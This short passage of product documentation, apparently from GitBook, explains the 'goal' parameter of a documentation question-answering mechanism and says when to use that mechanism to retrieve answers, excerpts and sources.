`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
